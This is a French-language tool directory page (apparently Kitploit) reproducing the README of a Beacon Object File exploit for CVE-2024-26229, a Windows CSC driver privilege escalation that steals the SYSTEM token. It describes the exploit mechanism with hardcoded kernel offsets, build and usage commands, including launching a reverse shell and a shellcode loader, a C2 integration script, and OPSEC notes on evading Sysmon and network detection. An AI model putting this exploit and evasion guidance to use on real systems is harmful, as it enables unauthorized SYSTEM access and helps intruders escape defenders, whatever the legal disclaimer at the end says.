Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Escalade de PrivilègesExploitationPost-ExploitationTests d'IntrusionRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Fichier objet Beacon version

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-26229 BOF

Implémentation en Beacon Object File de CVE-2024-26229 — escalade de privilèges locale du pilote CSC Windows via le vol de jeton DKOM.

Basé sur RalfHacker/CVE-2024-26229-exploit, converti en BOF avec résolution dynamique de fonctions (DFR) pour utilisation avec les frameworks C2 qui supportent l'API BOF de Cobalt Strike.

Comment ça marche

  1. Ouvre \Device\Mup\;Csc\.\. via NtCreateFile pour obtenir un handle sur le pilote CSC
  2. Envoie l'IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) avec un buffer d'entrée conçu pointant vers KTHREAD->PreviousMode - 0x18, corrompant PreviousMode de UserMode à KernelMode
  3. Avec PreviousMode = KernelMode, NtWriteVirtualMemory peut écrire à des adresses noyau arbitraires
  4. Copie le EPROCESS->Token du processus SYSTEM (PID 4) sur le jeton du processus courant (DKOM)
  5. Restaure PreviousMode à UserMode
  6. Lance l'exécutable spécifié via CreateProcessA — le processus enfant hérite du jeton SYSTEM

Le processus beacon lui-même devient SYSTEM après l'étape 4. Le processus lancé est optionnel — si CreateProcessA échoue, le beacon est toujours élevé.

Cible

  • OS : Windows 10 / Server 2019 (Build 19041+)
  • Prérequis : Pilote CSC activé (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • Corrigé dans : Mise à jour cumulative d'avril 2024

Décalages noyau (codés en dur)

DécalageValeurStructure
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

Ces décalages sont spécifiques à la version. Si vous ciblez une build différente, vérifiez avec WinDbg :

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

Compilation

Nécessite mingw-w64 et un en-tête beacon.h compatible avec votre framework C2.

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

Placez le fichier .o compilé dans votre répertoire BOF (par ex., _bin/cve-2024-26229.x64.o).

Utilisation

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

Exemples

Lancer un loader avec shellcode local :

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

Lancer un reverse shell :

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

Exécuter sans arguments :

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

Sortie attendue

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

Intégration AdaptixC2 / AXS

Enregistrez le BOF dans votre script d'extension .axs :

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

Le paquetage d'arguments est cstr,cstr — deux chaînes terminées par null correspondant aux deux appels BeaconDataExtract dans le BOF.

Notes OPSEC

  • Aucun artefact en mode utilisateur — DKOM opère entièrement en mémoire noyau via PreviousMode corrompu. Aucun fichier écrit, aucun service créé, aucune modification du registre.
  • Aucun indicateur réseau — l'exploit est purement local. Associez-le à un loader qui lit le shellcode depuis le disque (modèle --munition-local) plutôt que de le récupérer via HTTP pour éviter les détections basées sur le réseau.
  • Création de processus — CreateProcessA avec CREATE_NO_WINDOW. Le processus lancé hérite du jeton SYSTEM. Si votre loader injecte dans un autre processus (par ex., svchost.exe), le loader sur disque peut être nettoyé ensuite.
  • Sysmon — l'appel NtCreateFile à \Device\Mup\;Csc\.\. et l'IOCTL ne sont généralement pas journalisés par les configurations Sysmon par défaut. L'appel CreateProcessA générera une création de processus standard (Event ID 1) — assurez-vous que votre binaire lancé n'est pas signaturé.
  • Restauration de PreviousMode — le BOF restaure PreviousMode à UserMode après la copie du jeton. Le processus beacon continue de fonctionner normalement après l'exploitation.

Limitations

  • x64 uniquement — les décalages codés en dur et l'arithmétique de pointeurs supposent un environnement 64 bits
  • Les décalages sont spécifiques à la build — les valeurs codées en dur EPROCESS->Token (0x4B8) et KTHREAD->PreviousMode (0x232) sont valides pour Windows 10 19041–19045 et Server 2019 17763. D'autres builds peuvent nécessiter des ajustements.
  • Le pilote CSC doit être activé — vérifiez avec sc query csc ou le registre HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). Le pilote est activé par défaut sur les postes de travail mais peut être désactivé sur les serveurs.
  • Usage unique par processus — le DKOM modifie le jeton EPROCESS du beacon lui-même. Exécuter le BOF deux fois dans le même beacon est redondant (déjà SYSTEM).

Crédits

  • RalfHacker — exploit autonome original
  • Natel — tests et relecture

Références

  • CVE-2024-26229 — MITRE
  • Avis de sécurité Microsoft

Avertissement légal

Cet outil est destiné uniquement aux tests de pénétration autorisés et à la recherche en sécurité.

L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale en vertu de la loi vietnamienne, y compris mais sans s'y limiter :

  • Luật An toàn thông tin mạng 2015 (Loi sur la sécurité des réseaux d'information, n° 86/2015/QH13) — interdit l'accès non autorisé aux systèmes d'information
  • Bộ luật Hình sự 2015, sửa đổi 2017 (Code pénal, articles 225–226) — criminalise l'intrusion non autorisée dans les réseaux informatiques et la destruction de données

Cet outil est fourni à des fins éducatives uniquement. L'auteur décline toute responsabilité en cas d'utilisation abusive. Vous êtes seul responsable de vous assurer que votre utilisation est conforme à toutes les lois locales, nationales et internationales applicables.

En utilisant cet outil, vous confirmez avoir obtenu une autorisation appropriée du propriétaire du système avant toute activité de test.

Télécharger l’outil